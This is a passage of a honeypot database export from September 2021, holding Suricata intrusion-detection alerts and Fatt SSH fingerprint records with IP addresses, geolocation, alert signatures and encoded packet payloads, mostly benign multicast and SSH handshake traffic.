30351	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:34:24.745348+03	2021-09-20 14:45:02.891171+03	{"_id": "9wb8AnwBvYTbRNuEWTud", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:24.745348+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187366104964, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:24.745348Z", "@timestamp": "2021-09-20T11:34:24.745Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30352	142.250.187.99	109.199.241.180	Suricata	2021-09-20 14:34:29.010474+03	2021-09-20 14:45:02.892172+03	{"_id": "AQb8AnwBvYTbRNuEbTwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:29.010474+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "142.250.187.99", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "142.250.187.99", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 53600953116906, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 60020, "timestamp": "2021-09-20T11:34:29.010474Z", "@timestamp": "2021-09-20T11:34:29.010Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30360	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:32.418539+03	2021-09-20 14:45:02.904145+03	{"_id": "MAb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 15, "bytes_toclient": 0, "bytes_toserver": 1430}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:32.418539Z", "@timestamp": "2021-09-20T11:34:32.418Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
30353	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.52081+03	2021-09-20 14:45:02.894173+03	{"_id": "IAb8AnwBvYTbRNuEdDz8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:31.520810+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 1503225430143594, "payload": "myQAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 53046, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T11:34:31.520810Z", "@timestamp": "2021-09-20T11:34:31.520Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".$...........DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
30354	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.960662+03	2021-09-20 14:45:02.896171+03	{"_id": "KAb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 12, "bytes_toclient": 0, "bytes_toserver": 1140}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.960662Z", "@timestamp": "2021-09-20T11:34:31.960Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30355	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.958303+03	2021-09-20 14:45:02.897172+03	{"_id": "LAb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.958303Z", "@timestamp": "2021-09-20T11:34:31.958Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30356	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.962817+03	2021-09-20 14:45:02.898175+03	{"_id": "Mgb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.962817Z", "@timestamp": "2021-09-20T11:34:31.962Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30357	192.168.20.104	109.199.241.180	Suricata	2021-09-20 14:34:32.590601+03	2021-09-20 14:45:02.900142+03	{"_id": "Mwb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:32.590601Z", "@timestamp": "2021-09-20T11:34:32.590Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30358	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.962136+03	2021-09-20 14:45:02.901177+03	{"_id": "Lgb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 13, "bytes_toclient": 0, "bytes_toserver": 1230}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.962136Z", "@timestamp": "2021-09-20T11:34:31.962Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30362	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:28.919729+03	2021-09-20 14:45:02.90618+03	{"_id": "_Qb8AnwBvYTbRNuEbTso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:28.919729Z", "@timestamp": "2021-09-20T11:34:28.919Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30363	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.513794+03	2021-09-20 14:45:02.908175+03	{"_id": "HQb8AnwBvYTbRNuEdDz7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 600}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.513794Z", "@timestamp": "2021-09-20T11:34:31.513Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30364	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.516798+03	2021-09-20 14:45:02.909141+03	{"_id": "Hgb8AnwBvYTbRNuEdDz7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 9, "bytes_toclient": 0, "bytes_toserver": 870}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.516798Z", "@timestamp": "2021-09-20T11:34:31.516Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30365	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.963939+03	2021-09-20 14:45:02.910172+03	{"_id": "Kwb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.963939Z", "@timestamp": "2021-09-20T11:34:31.963Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30366	192.168.20.104	109.199.241.180	Suricata	2021-09-20 14:34:32.59147+03	2021-09-20 14:45:02.911141+03	{"_id": "NAb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:32.591470Z", "@timestamp": "2021-09-20T11:34:32.591Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30367	192.168.20.104	109.199.241.180	Suricata	2021-09-20 14:34:33.590919+03	2021-09-20 14:45:02.912142+03	{"_id": "NQb8AnwBvYTbRNuEfDzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:33.590919Z", "@timestamp": "2021-09-20T11:34:33.590Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30368	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:34:39.822756+03	2021-09-20 14:45:02.914143+03	{"_id": "Rgb8AnwBvYTbRNuElDxA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:34:38.279204+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1410}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1562811659338404, "payload": "AAADzAYUjNhXfeNsa00SPgqrCyNmRAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2130, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:34:39.822756Z", "@timestamp": "2021-09-20T11:34:39.822Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........W}.lkM.>\\n..#fD...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30369	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:39.550784+03	2021-09-20 14:45:02.915175+03	{"_id": "Rwb8AnwBvYTbRNuElTxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2130, "timestamp": "2021-09-20T11:34:39.550784", "@timestamp": "2021-09-20T11:34:39.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30370	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:34:39.822756+03	2021-09-20 14:45:02.916142+03	{"_id": "SAb8AnwBvYTbRNuElTxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2130, "dest_port": 22, "timestamp": "2021-09-20T11:34:39.822756", "@timestamp": "2021-09-20T11:34:39.822Z", 